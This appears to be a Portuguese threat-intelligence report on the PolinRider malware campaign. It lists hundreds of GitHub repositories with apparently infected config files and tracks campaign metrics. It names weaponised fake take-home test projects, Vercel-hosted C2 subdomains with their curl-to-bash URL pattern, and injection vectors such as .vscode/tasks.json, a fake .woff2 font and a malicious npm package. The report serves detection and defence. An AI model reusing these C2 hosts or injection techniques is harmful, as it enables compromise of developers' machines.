| UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | Usuário | 0 | 0 | 1 | postcss.config.mjs | API Backend para FlowBiz – Node.js, PostgreSQL, JWT, serviço PDF | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Um frontend moderno, responsivo e rico em recursos para a Plataforma de Eventos e Atividades, construído com Next.js 14 e Tailwind CSS. Este aplicativo oferece uma experiência perfeita para usuários descobrirem eventos, anfitriões gerenciarem seus anúncios e administradores supervisionarem a plataforma. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | Usuário | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | Usuário | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | Usuário | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | Usuário | 0 | 0 | 1 | postcss.config.mjs | Um site de portfólio vibrante, moderno e totalmente responsivo construído com Next.js 14, TypeScript e Tailwind CSS. Apresenta designs gradientes impressionantes, animações suaves e uma UI colorida que exibe seus projetos e habilidades de forma chamativa. | | | 279 | shayanwd/vts-nextjs | shayanwd | Usuário | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | Usuário | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | Usuário | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | Usuário | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | Usuário | 0 | 0 | 1 | token-mind/postcss.config.mjs | Cérebro de IA inteligente para tokens | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | Usuário | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Site oficial do Bionic 7 - Lote 7 de Engenharia Biomédica da Universidade Islâmica | | | 294 | malirazaansari/Protfolio_project | malirazaansari | Usuário | 0 | 0 | 1 | postcss.config.mjs | Meu Portfólio Pessoal | | | 295 | ayanmal1k/DragoPump | ayanmal1k | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site de Token Solana | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | Usuário | 0 | 0 | 1 | postcss.config.mjs | Uma plataforma de e-commerce premium para vendas de pudim de caramelo construída com Next.js e shadcn/ui. Apresenta uma experiência de compra completa com catálogo de produtos, carrinho de compras, checkout e design responsivo. Pronto para integração de pagamento e dimensionamento com seu próprio backend de banco de dados. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Um Sistema de Gerenciamento de Recrutamento full-stack baseado em funções, projetado para otimizar fluxos de trabalho de contratação para organizações e equipes de RH. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | Usuário | 0 | 0 | 1 | postcss.config.mjs | Loja Shopify da Brian para Base App | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | Usuário | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | Um aplicativo web full-stack abrangente que conecta clientes a prestadores de serviços em várias categorias, incluindo serviços de um dia, trabalho baseado em contrato e oportunidades de meio período. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | Usuário | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Um site moderno e responsivo de agendamento de salão construído com Next.js e React. Este sistema abrangente de gerenciamento de salão de beleza apresenta listagens de serviços, perfis de estilistas, agendamento de consultas em várias etapas, depoimentos de clientes e gerenciamento de contatos. | | | 313 | Nathanim1919/becoming | Nathanim1919 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Link ao vivo | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Reader Website é um aplicativo web moderno e responsivo construído com Next.js e TypeScript, projetado para exibir e explorar livros com uma experiência de usuário suave. Apresenta roteamento dinâmico, componentes reutilizáveis e está totalmente implantado para acesso público. Ideal para leitores, entusiastas de livros ou plataformas de conteúdo em busca de uma leitura interativa. | | | 325 | Sameer447/O2_app | Sameer447 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | Usuário | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager - Um sistema full-stack de gerenciamento de estoque construído com Next.js 14 App Router, Tailwind CSS, MongoDB e Redux Toolkit (RTK Query). Este aplicativo suporta autenticação social via NextAuth.js (Google, GitHub) e login tradicional por e-mail/senha usando JWT. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | Uma plataforma de colaboração em tempo real construída com Next.js, WebSockets e CRDTs (Yjs), permitindo edição de documentos multiusuário com sincronização de estado livre de conflitos e atualizações de baixa latência. | | | 344 | usman-174/form-pdf | usman-174 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | Usuário | 0 | 0 | 1 | postcss.config.mjs | Para Hetal mover para Paperclip Vercel | | | 346 | huzzy12/portfolio | huzzy12 | Usuário | 0 | 0 | 1 | postcss.config.mjs | Meu site de portfólio | | | 347 | Sameer447/my-app | Sameer447 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | Usuário | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | Usuário | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | Usuário | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | Usuário | 0 | 0 | 1 | postcss.config.mjs | pettro para amantes de animais de estimação | | | 375 | MahadA456/mahad-portfolio | MahadA456 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | Usuário | 0 | 0 | 1 | postcss.config.mjs | Projeto de demonstração para um cliente de salão | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | Usuário | 0 | 0 | 1 | postcss.config.mjs | Uma aplicação Next.js para construir, publicar e coletar submissões de formulários personalizados. Inclui uma área administrativa autenticada com um editor de arrastar e soltar e uma experiência de formulário voltada ao público. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | Serviço de Saúde Avançada || Uma plataforma de saúde digital completa e tudo-em-um, oferecendo consultas online, registros de saúde seguros, prescrições eletrônicas, avaliação inteligente de sintomas e atendimento personalizado ao paciente — tudo em uma experiência web contínua. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | Uma Plataforma de Demonstração de Transação Curta | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | Usuário | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | PathFinder – Admissões Mais Inteligentes, Reservas Mais Simples. Um aplicativo Next.js full-stack para reservas de admissão em faculdades. Inclui pesquisa de faculdades, formulários de admissão, avaliações, gerenciamento de perfil e autenticação baseada em JWT. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | Usuário | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | aplicação para a submissão do Ethglobal Hackmoney 2026: Construindo a plataforma de experiência de agente para investir facilmente em mercados de previsão | | | 397 | finom/blok | finom | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | Usuário | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | Usuário | 0 | 0 | 1 | postcss.config.mjs | Projeto de demonstração para cliente de academia | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | Usuário | 0 | 0 | 1 | postcss.config.mjs | Colabore com sua equipe usando mensagens em tempo real, edição de texto rica e suporte a emojis neste aplicativo estilo Slack construído com Next.js, Convex e Shadcn UI. | | | 404 | Socheema/clot | Socheema | Usuário | 0 | 0 | 1 | postcss.config.mjs | Compre os melhores produtos de moda com a Clot | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | Usuário | 0 | 0 | 1 | postcss.config.mjs | hackathon de design web figma. | | | 407 | Germs31/small-traslator-ai | Germs31 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | Usuário | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | Usuário | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | Usuário | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | Usuário | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | Usuário | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | Usuário | 0 | 0 | 1 | postcss.config.mjs | portfólio pessoal | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | Usuário | 0 | 0 | 1 | postcss.config.mjs | Um site de tarefas | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | Usuário | 0 | 0 | 1 | postcss.config.mjs | Site ao vivo | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | Usuário | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | Usuário | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | Usuário | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | web-ghoul | Usuário | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | Usuário | 0 | 0 | 1 | client/tailwind.config.js | Nextjs, express, prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | Usuário | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | Usuário | 0 | 0 | 1 | tailwind.config.js | Mapa Interativo de Assentos de Eventos da Metropolis Arena — Tarefa de Front-End para Casa | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | Usuário | 0 | 0 | 1 | client/tailwind.config.js | Serviço Online de Alfaiate e Alteração de Roupas | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | Usuário | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | Usuário | 0 | 0 | 1 | frontend/tailwind.config.js | Painel inteligente de gerenciamento de estoque e validade para lojas de varejo como Walmart — detectar, rastrear e otimizar itens de liquidação com pontuação de urgência e acesso baseado em funções. | | | 450 | Iambilalfaisal/Portfolio | Iambilalfaisal | Usuário | 0 | 0 | 1 | tailwind.config.js | Meu portfólio | |
| Métrica | 8 de março (inicial) | 11 de abril (mais recente) | Δ |
|---|
| Repositórios únicos infectados | 675 | 1.951 | +1.276 |
| Proprietários únicos afetados | 352 | 1.047 | +695 |
| — Usuários individuais | 305 | ~930 | +625 |
| — Organizações | 47 | ~117 | +70 |
| Variantes distintas de ofuscador observadas | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| Vetores distintos de injeção confirmados | 1 (arquivo de configuração) | 4 (arquivo de configuração, .vscode/tasks.json, fonte .woff2 falsa, dep npm malicioso) | +3 |
| Subdomínios C2 distintos documentados | 1 (260120.vercel.app) | 6+ (veja Infraestrutura C2) | +5 |
| Modelos de teste prático armados conhecidos | 0 | 2+ (ShoeVista, StakingGame) | +2 |
O ator de ameaça está reinfectando vítimas anteriores. Pelo menos um repositório vítima (HassanHabibTahir/testclient) contém marcadores de AMBAS as variantes em arquivos diferentes, indicando que as ferramentas do ator estão sendo executadas novamente contra hosts previamente comprometidos e injetando o novo ofuscador.
PolinRider e TasksJacker se fundiram operacionalmente. Agora temos evidências diretas de que o mesmo ator de ameaça está executando tanto a injeção em arquivo de configuração quanto o vetor de infecção curl-to-shell do .vscode/tasks.json contra a mesma população vítima. 22 das 101 vítimas do script de propagação temp_auto_push.bat também possuem arquivos maliciosos .vscode/tasks.json, e múltiplos projetos de modelo de teste prático / entrevista falsa armados foram identificados — veja Modelos de Teste Prático Armados abaixo. OSM está consolidando os dois clusters sob o rótulo #polinrider daqui em diante.
Dois projetos de teste prático armados identificados: ShoeVista (um site de avaliação falso de Tailwind e-commerce que vem com tailwindcss-style-animate ^1.1.6 malicioso em client/package.json) e StakingGame (um projeto falso de blockchain / automação VS Code identificado pelo UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 em tasks.json). Pelo menos 46 + 42 desenvolvedores tentaram esses testes e foram comprometidos. Parte do manual de isca do Contagious Interview.
Cinco novos subdomínios C2 descobertos que estão sendo usados em cargas curl | bash de .vscode/tasks.json, todos hospedados no Vercel:
default-configuration.vercel.app (mais usado, ~106 referências de vítimas)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appTodos seguem o padrão https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Adicionados à seção Infraestrutura C2.
OSM submeteu 821 novos relatórios de ameaça ao longo desta caça de dois dias, elevando o total de entradas PolinRider do OSM para aproximadamente ~1.700. Detalhamento das variantes das 821 submissões: 591 variante original (rmcej%otb%), 113 apenas propagação (temp_auto_push.bat), 45 malicious_npm (cluster ShoeVista/devhire), 27 tasksjacker, 1 nova variante (Cot%3t=shtP), 44 outros.
Novos pivôs de busca de alto rendimento foram identificados que encontram vítimas mesmo quando a carga JS foi limpa. Os mais fortes são filename:temp_auto_push.bat (101 resultados confirmados como maliciosos, 100% de taxa de verdadeiros positivos) e "default-configuration.vercel.app" (106 hits). A taxa de falsos positivos amostrada em 44 verificações aleatórias foi de 0%. Veja Metodologia de Refinamento abaixo.
Um novo vetor de injeção foi confirmado: pelo menos uma vítima (AgbaD/odoo) tem a carga JS ofuscada escondida em um arquivo de fonte .woff2 (public/fonts/fa-solid-400.woff2) que é executado via Node — confirmando que a campanha usa múltiplos vetores de injeção contra o mesmo alvo.
Nenhum terceiro variante de ofuscador encontrado. Sondagem exaustiva de marcadores global['?'], combinações de sementes, padrões estruturais, literais IOC e tags sequenciais '8-stN' 1–200 (via expressão regular do Sourcegraph) não produziu evidências de uma terceira variante além das duas já documentadas. O lote de nova variante do ator está limitado a 8-st1..8-st59 (com 21 números sequenciais faltando no índice do Sourcegraph).
